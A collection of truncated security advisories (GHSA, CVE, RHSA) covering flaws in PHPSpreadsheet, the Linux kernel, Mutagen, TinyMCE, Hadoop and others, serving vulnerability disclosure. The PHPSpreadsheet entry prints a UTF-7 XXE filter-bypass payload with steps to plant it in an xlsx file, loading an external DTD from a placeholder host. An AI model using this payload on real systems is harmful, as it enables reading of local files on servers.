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GHSA-ghg6-32f9-2jp7: XXE in PHPSpreadsheet encoding is returned

### Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) ### Details Check ` $pattern = '/encoding="(.*?)"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this: ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]> ``` If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. ### PoC 1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode. 4) Replace `<?xml version="1.0" encoding="UTF-8" standalone="yes"?>` to ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]> ``` 5) Save `sharedStrings.xml` file and rename zip back to xlsx. 6) Use mi...

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CVE-2022-3108: Invalid Bug ID

An issue was discovered in the Linux kernel through 5.16-rc6. kfd_parse_subtype_iolink in drivers/gpu/drm/amd/amdkfd/kfd_crat.c lacks check of the return value of kmemdup().

GHSA-fwj4-72fm-c93g: Under-validated ComSpec and cmd.exe resolution in Mutagen projects

### Impact Mutagen projects offer shell-based execution functionality. On Windows, the shell is resolved using the standard `%ComSpec%` mechanism, with a fallback to a `%PATH%`-based search for `cmd.exe`. While this is the standard practice on Windows systems, it presents somewhat risky behavior. Firstly, `%ComSpec%` could, in theory, be set maliciously. Unfortunately, there's not much that can be done to prevent this attack surface, because `%ComSpec%` is the official mechanism for shell specification on Windows. We can, however, validate that it points to an absolute path, which one would expect for a properly set value. Secondly, a fallback to a relative `cmd.exe` path, resolved via `%PATH%`, could be risky. The risk is largely mitigated by changes in Go 1.19 and later, but prior to that a malicious `cmd.exe` could been resolved in the current working directory. To mitigate this issue, Mutagen now uses the `%SystemRoot%` environment variable (also validated to be an absolut...

RHSA-2022:1185: Red Hat Security Advisory: kpatch-patch security update

An update for kpatch-patch is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-4028: kernel: use-after-free in RDMA listen() * CVE-2021-4083: kernel: fget: check that the fd still exists after getting a ref to it

CVE-2021-40265: FreeImage / Bugs / #337 A heap_overflow on PluginJPEG.cpp when Load() SOF(Start Of Frame) JPEG

A heap overflow bug exists FreeImage before 1.18.0 via ofLoad function in PluginJPEG.cpp.

GHSA-w9jx-4g6g-rp7x: TinyMCE Cross-Site Scripting (XSS) vulnerability using noscript elements

### Impact A [cross-site scripting (XSS)](https://owasp.org/www-community/attacks/xss/) vulnerability was discovered in TinyMCE’s content parsing code. This allowed specially crafted noscript elements containing malicious code to be executed when that content was loaded into the editor. ### Patches This vulnerability has been patched in TinyMCE 7.2.0, TinyMCE 6.8.4 and TinyMCE 5.11.0 LTS by ensuring that content within noscript elements are properly parsed. ### Fix To avoid this vulnerability: * Upgrade to TinyMCE 7.2.0 or higher. * Upgrade to TinyMCE 6.8.4 or higher for TinyMCE 6.x. * Upgrade to TinyMCE 5.11.0 LTS or higher for TinyMCE 5.x (only available as part of commercial [long-term support](https://www.tiny.cloud/long-term-support/) contract). ### Acknowledgements Tiny thanks [Malav Khatri](https://malavkhatri.com/) and another reporter for their help identifying this vulnerability. ### References * [TinyMCE 6.8.4](https://www.tiny.cloud/docs/tinymce/6/6.8.4-release-notes/#...

CVE-2021-46082: MGate 5109 and MGate 5101-PBM-MN Series Protocol Gateways Vulnerability

Moxa TN-5900 v3.1 series routers, MGate 5109 v2.2 series protocol gateways, and MGate 5101-PBM-MN v2.1 series protocol gateways were discovered to contain a memory leak which allows attackers to cause a Denial of Service (DoS) via crafted packets.

CVE-2021-44492: GT.M V7.0-002 Release Notes

An issue was discovered in YottaDB through r1.32 and V7.0-000 and FIS GT.M through V7.0-000. Using crafted input, attackers can cause a type to be incorrectly initialized in the function f_incr in sr_port/f_incr.c and cause a crash due to a NULL pointer dereference.

CVE-2018-11764

Web endpoint authentication check is broken in Apache Hadoop 3.0.0-alpha4, 3.0.0-beta1, and 3.0.0. Authenticated users may impersonate any user even if no proxy user is configured.

CVE-2020-24075: Kalium Changelog - Laborator

Cross Site Scripting (XSS) vulnerability in Name Input Field in Contact Us form in Laborator Kalium before 3.0.4, allows remote attackers to execute arbitrary code.